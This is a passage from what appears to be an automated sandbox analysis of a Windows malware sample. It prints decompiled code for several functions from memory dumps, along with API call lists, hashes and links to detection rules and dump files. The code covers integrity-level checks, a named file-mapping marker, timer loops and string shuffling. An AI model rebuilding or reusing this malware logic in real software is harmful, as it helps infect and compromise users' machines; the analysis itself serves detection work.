						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x81d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x008151b0
0x008151c2
0x008151c5
0x008151d1
0x008151d7
0x008151dc
0x00815343
0x008151e2
0x008151e2
0x008151e4
0x008151e9
0x008151ea
0x008151f0
0x008151f3
0x008151f6
0x00815204
0x0081520f
0x00815212
0x00815214
0x00815221
0x0081522b
0x0081522d
0x00815232
0x00815237
0x00815242
0x00815242
0x00815239
0x00815239
0x00815240
0x00000000
0x00000000
0x00815240
0x0081524c
0x00000000
0x0081524f
0x00815253
0x0081525e
0x0081525e
0x00815265
0x0081526e
0x00815275
0x0081527e
0x00815281
0x00815284
0x00815289
0x0081528e
0x00000000
0x00000000
0x00815290
0x00815293
0x00815296
0x00815299
0x00000000
0x0081529b
0x008152aa
0x008152aa
0x00000000
0x008152d8
0x008152d8
0x008152dd
0x008152fc
0x008152fe
0x00815303
0x00815304
0x00000000
0x008152df
0x008152df
0x008152e5
0x00000000
0x008152e7
0x008152e7
0x008152ec
0x008152ee
0x008152f3
0x008152f4
0x0081530a
0x0081530a
0x00815312
0x0081531d
0x00815320
0x0081532b
0x0081532d
0x00815330
0x00815332
0x00000000
0x00815338
0x00000000
0x00815338
0x00815332
0x008152e5
0x00000000
0x008152dd
0x008152ad
0x008152af
0x008152b2
0x008152b3
0x008152b3
0x008152b7
0x008152c1
0x008152c1
0x008152c7
0x008152ca
0x008152ca
0x008152d0
0x008152d0
0x0081534d
0x00000000

APIs

memset.NTDLL ref: 008151C5
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 008151D1
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 008151F6
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 00815212
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0081522B
HeapFree.KERNEL32(00000000,00000000), ref: 008152C1
CloseHandle.KERNEL32(?), ref: 008152D0
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0081530A
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,00815D5E,?), ref: 00815320
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0081532B

Part of subcall function 00818D14: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,04E19368,00000000,?,73BCF710,00000000,73BCF730), ref: 00818D63
Part of subcall function 00818D14: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,04E193A0,?,00000000,30314549,00000014,004F0053,04E1935C), ref: 00818E00
Part of subcall function 00818D14: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0081523E), ref: 00818E12

GetLastError.KERNEL32 ref: 0081533D

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: dcd7017e87669950de754997c8fb0cc332a36694c8f3f54662daa2e97cd32dee
Instruction ID: 46192ecb9d387236cb36947a10f8c6041ef93bb850671ad3ee5e347c37dce64b
Opcode Fuzzy Hash: dcd7017e87669950de754997c8fb0cc332a36694c8f3f54662daa2e97cd32dee
Instruction Fuzzy Hash: ED512A71801628EBDB11DF95DC44AEEBFBCFF89720F208615F815E2294D7749A84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0081232F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0081232F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0081AF28();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x81d2a8; // 0x45fa5a8
				_t5 = _t13 + 0x81e87e; // 0x4e18e26
				_t6 = _t13 + 0x81e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0081ABCA();
				_t17 = CreateFileMappingW(0xffffffff, 0x81d2ac, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x0081232f
0x00812337
0x0081233b
0x00812341
0x00812346
0x0081234b
0x0081234e
0x00812351
0x00812356
0x00812357
0x0081235a
0x0081235f
0x00812366
0x00812370
0x00812372
0x00812373
0x00812376
0x00812392
0x00812398
0x0081239c
0x008123ea
0x0081239e
0x008123ab
0x008123bb
0x008123c3
0x008123d5
0x008123d9
0x00000000
0x00000000
0x008123c5
0x008123c8
0x008123cd
0x008123cf
0x008123cf
0x008123ad
0x008123af
0x008123db
0x008123dc
0x008123dc
0x008123ab
0x008123f1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00815C31,?,?,4D283A53,?,?), ref: 0081233B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00812351
_snwprintf.NTDLL ref: 00812376
CreateFileMappingW.KERNELBASE(000000FF,0081D2AC,00000004,00000000,00001000,?), ref: 00812392
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00815C31,?,?,4D283A53), ref: 008123A4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 008123BB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00815C31,?,?), ref: 008123DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00815C31,?,?,4D283A53), ref: 008123E4

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 1017c8f3f787c919d972c34cbaf477a90d884ff57bbfe6ca4b54ab35bbbc604c
Instruction ID: feb8259950773849ff03e79c5b6548c9468727e22ae04ebb72bbf828b106cee7
Opcode Fuzzy Hash: 1017c8f3f787c919d972c34cbaf477a90d884ff57bbfe6ca4b54ab35bbbc604c
Instruction Fuzzy Hash: 3321A2B2640608FBD711EB68DC45FDE77ADFF88710F244121FA19E72E0D67499858B50

Uniqueness

Uniqueness Score: -1.00%

Function 00811A08, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00811A08(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x81d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E0081A71F(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E0081A734(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x00811a15
0x00811a1c
0x00811a23
0x00811a37
0x00811a42
0x00811a5a
0x00811a67
0x00811a6a
0x00811a6f
0x00811a7a
0x00811a7e
0x00811a8d
0x00811a91
0x00811aad
0x00811aad
0x00811ab1
0x00811ab1
0x00811ab6
0x00811aba
0x00811ac0
0x00811ac1
0x00811ac8
0x00811ace

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00811A3A
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00811A5A
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00811A6A
CloseHandle.KERNEL32(00000000), ref: 00811ABA

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00811A8D
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00811A95
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00811AA5

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: bed80c4c5564a0e66234e555c792c9a243e4e094ada6f5aa2470baec64a8a5bb
Instruction ID: 561945a29441abb33c8a7f0ddf5a2ec9fefafcd7785e7dbd37e8a0a9aa9fb8af
Opcode Fuzzy Hash: bed80c4c5564a0e66234e555c792c9a243e4e094ada6f5aa2470baec64a8a5bb
Instruction Fuzzy Hash: 9D210779900259FFEB00DF94DC84EEEBBBDFF48304F104065EA11A61A1D7719A45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0081391F, Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0081395A
IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 008139DD
StrStrIW.SHLWAPI(00000000,006E0069), ref: 00813A1D
SysFreeString.OLEAUT32(00000000), ref: 00813A3F

Part of subcall function 00816F3A: SysAllocString.OLEAUT32(0081C290), ref: 00816F8A

SafeArrayDestroy.OLEAUT32(00000000), ref: 00813A92
SysFreeString.OLEAUT32(00000000), ref: 00813AA1

Part of subcall function 00811AE2: Sleep.KERNELBASE(000001F4), ref: 00811B2A

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 7addad8e3860a7a4875a5aabea80aff66b9c405e57539e4674656fa466d356c2
Instruction ID: e5bdc7c6d8ca0b16e1e6de1ff8b4df31b67af89250796e9543e5cc4c9eaa1d2d
Opcode Fuzzy Hash: 7addad8e3860a7a4875a5aabea80aff66b9c405e57539e4674656fa466d356c2
Instruction Fuzzy Hash: A5514F75500A09EFDB01CFA8C844AEEB7BAFF88740F148469E545DB220EB75EE85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 008112E5, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E008112E5(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x81d238 = _t10;
				if(_t10 != 0) {
					 *0x81d1a8 = GetTickCount();
					_t12 = E00813E69(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0081B08A();
							_t33 = _t14 + _t16;
							_t18 = E00815548(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E00814DA2(_t25) != 0) {
							 *0x81d260 = 1; // executed
						}
						_t12 = E00815BA2(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x008112e5
0x008112eb
0x008112ec
0x008112f8
0x008112fe
0x00811305
0x00811315
0x0081131a
0x00811321
0x00811323
0x00811328
0x0081132e
0x00811334
0x0081133e
0x00811342
0x00811344
0x00811349
0x0081134a
0x0081134b
0x00811350
0x00811356
0x0081135f
0x00811360
0x00811365
0x0081136b
0x00811377
0x00811379
0x00811379
0x00811383
0x00811383
0x00811307
0x00811309
0x00811309
0x0081138d

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00814EF2,?), ref: 008112F8
GetTickCount.KERNEL32 ref: 0081130C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,00814EF2,?), ref: 00811328
SwitchToThread.KERNEL32(?,00000001,?,?,?,00814EF2,?), ref: 0081132E
_aullrem.NTDLL(?,?,00000009,00000000), ref: 0081134B
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,00814EF2,?), ref: 00811365

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 6302827ef3ee77b71d041f8bc1b68967a18da2403d1bc30f8cf7a76470cb0353
Instruction ID: 05f34ec7b7ea993c57f41382c26d20de5eb9d1013025f581cb7d8217362dcd1e
Opcode Fuzzy Hash: 6302827ef3ee77b71d041f8bc1b68967a18da2403d1bc30f8cf7a76470cb0353
Instruction Fuzzy Hash: 5711E972A44700FFE710AB68EC0EBDA779CFF48350F008515FA55C6290EBB4D8808761

Uniqueness

Uniqueness Score: -1.00%

Function 00815BA2, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00815BA2(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00816C09();
				if(_t21 != 0) {
					_t59 =  *0x81d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x81d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x81d160(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E0081496B( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x81d2a8; // 0x45fa5a8
					if( *0x81d25c > 5) {
						_t8 = _t26 + 0x81e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x81e9f5; // 0x44283a44
						_t27 = _t7;
					}
					E0081729A(_t27, _t27);
					_t31 = E0081232F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x81d270 =  *0x81d270 ^ 0x81bbe65d;
						_t32 = E0081A71F(0x60);
						 *0x81d32c = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x81d32c; // 0x4e195b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x81d32c; // 0x4e195b0
							 *_t51 = 0x81e81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x81d238, 0, 0x43);
							 *0x81d2c8 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x81d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x81d2a8; // 0x45fa5a8
								_t13 = _t58 + 0x81e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x81c287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E00819135( ~_v8 &  *0x81d270, 0x81d00c); // executed
								_t42 = E0081888E(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E008187AE(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E008151B0(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E00811C66(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x81d15c();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0081A273(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x00815ba2
0x00815bad
0x00815bb0
0x00815bb3
0x00815bb6
0x00815bbd
0x00815bbf
0x00815bcb
0x00815bcd
0x00815bcd
0x00815bd6
0x00815bdc
0x00815be1
0x00815bfb
0x00815c07
0x00815c09
0x00815c0e
0x00815c18
0x00815c18
0x00815c10
0x00815c10
0x00815c10
0x00815c10
0x00815c1f
0x00815c2c
0x00815c33
0x00815c38
0x00815c38
0x00815c40
0x00815c43
0x00815c69
0x00815c75
0x00815c7a
0x00815c7f
0x00815c81
0x00815cad
0x00815caf
0x00815c83
0x00815c87
0x00815c8c
0x00815c91
0x00815c98
0x00815c9e
0x00815ca3
0x00815ca9
0x00815cb0
0x00815cb2
0x00815cb4
0x00815cc3
0x00815cc9
0x00815cce
0x00815cd0
0x00815d00
0x00815d02
0x00815cd2
0x00815cd2
0x00815cd8
0x00815ce5
0x00815ceb
0x00815ceb
0x00815cf3
0x00815cfc
0x00815d03
0x00815d05
0x00815d07
0x00815d0e
0x00815d1b
0x00815d20
0x00815d25
0x00815d27
0x00815d29
0x00000000
0x00000000
0x00815d2b
0x00815d30
0x00815d32
0x00815d39
0x00815d3d
0x00815d40
0x00815d55
0x00815d59
0x00815d5e
0x00000000
0x00815d5e
0x00815d42
0x00815d44
0x00000000
0x00000000
0x00815d4f
0x00815d51
0x00815d53
0x00000000
0x00000000
0x00000000
0x00815d53
0x00815d36
0x00815d36
0x00815d07
0x00815c45
0x00815c45
0x00815c4a
0x00815d60
0x00815d64
0x00815d6c
0x00815d6c
0x00000000
0x00815d64
0x00815c50
0x00815c53
0x00815c5d
0x00815c64
0x00000000
0x00815d74
0x00815d74
0x00815d78
0x00815d7c
0x00815d7c

APIs

Part of subcall function 00816C09: GetModuleHandleA.KERNEL32(4C44544E,00000000,00815BBB,00000000,00000000), ref: 00816C18

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 00815C38

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

memset.NTDLL ref: 00815C87
RtlInitializeCriticalSection.NTDLL(04E19570), ref: 00815C98

Part of subcall function 00811C66: memset.NTDLL ref: 00811C7B
Part of subcall function 00811C66: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00811CBD
Part of subcall function 00811C66: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 00811CC8

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 00815CC3
wsprintfA.USER32 ref: 00815CF3

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: e0a000c31695c068cdcd640cce24e8206a802f9afd0daf5e44dbeaecd5bcc340
Instruction ID: f0ea6030236fb4c26693f57762c30e89100cff43a5e2c7621a0f5528225ea6ee
Opcode Fuzzy Hash: e0a000c31695c068cdcd640cce24e8206a802f9afd0daf5e44dbeaecd5bcc340
Instruction Fuzzy Hash: 8F51F471A00B28EBDB21ABA4EC89BEE77BCFF84700F148425F502D7251E77499C58B91

Uniqueness

Uniqueness Score: -1.00%

Function 008162DA, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E008162DA(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E0081A71F(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E0081A734(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E0081A71F((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x81d278 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x008162e1
0x008162e8
0x008162ed
0x008162f0
0x008162f7
0x008162fa
0x008162fd
0x00816302
0x00816307
0x0081645b
0x0081645d
0x0081645f
0x00816464
0x00816464
0x0081630d
0x00816310
0x00816313
0x00816315
0x00816315
0x00816319
0x00000000
0x00000000
0x0081631d
0x00816349
0x0081634e
0x00816350
0x00816350
0x00816353
0x00816356
0x00816356
0x00816358
0x00000000
0x00816323
0x00816325
0x00816344
0x00816344
0x0081635b
0x0081635b
0x0081635c
0x0081635c
0x0081635f
0x00000000
0x00000000
0x00000000
0x0081635f
0x00816329
0x00816370
0x00816374
0x0081644e
0x00816450
0x00816450
0x00816451
0x00816454
0x00000000
0x00816454
0x0081637d
0x0081638e
0x00816392
0x0081644a
0x00000000
0x0081644a
0x00816398
0x0081639b
0x0081639f
0x008163a3
0x008163a8
0x00816440
0x00816440
0x00000000
0x00816446
0x008163b3
0x008163bc
0x008163d0
0x008163d7
0x008163ec
0x008163f2
0x008163fa
0x00000000
0x00000000
0x00000000
0x00000000
0x008163fc
0x008163fc
0x008163fc
0x00816403
0x0081640b
0x00000000
0x00000000
0x0081640d
0x00816416
0x00000000
0x00000000
0x00000000
0x00816418
0x0081641a
0x0081641d
0x0081641d
0x00816420
0x00816424
0x00816427
0x0081642d
0x00816430
0x00816437
0x00000000
0x008163b3
0x0081632e
0x00816336
0x0081633c
0x0081633e
0x0081633e
0x00816341
0x00816343
0x00000000
0x00816343
0x0081631d
0x00816363
0x00816368
0x0081636a
0x0081636a
0x0081636d
0x0081636d
0x00000000

APIs

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

lstrcpy.KERNEL32(63699BC4,00000020), ref: 008163D7
lstrcat.KERNEL32(63699BC4,00000020), ref: 008163EC
lstrcmp.KERNEL32(00000000,63699BC4), ref: 00816403
lstrlen.KERNEL32(63699BC4), ref: 00816427

Strings

, xrefs: 00816370

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: 598de98eb118b5d2e42fed3c6adcdae6c6c9718581eb356980ccdfa660d4de5f
Instruction ID: 99ad7bca27ae91338b549948eb38da2ee39dddb463228698ead78c78293a2f97
Opcode Fuzzy Hash: 598de98eb118b5d2e42fed3c6adcdae6c6c9718581eb356980ccdfa660d4de5f
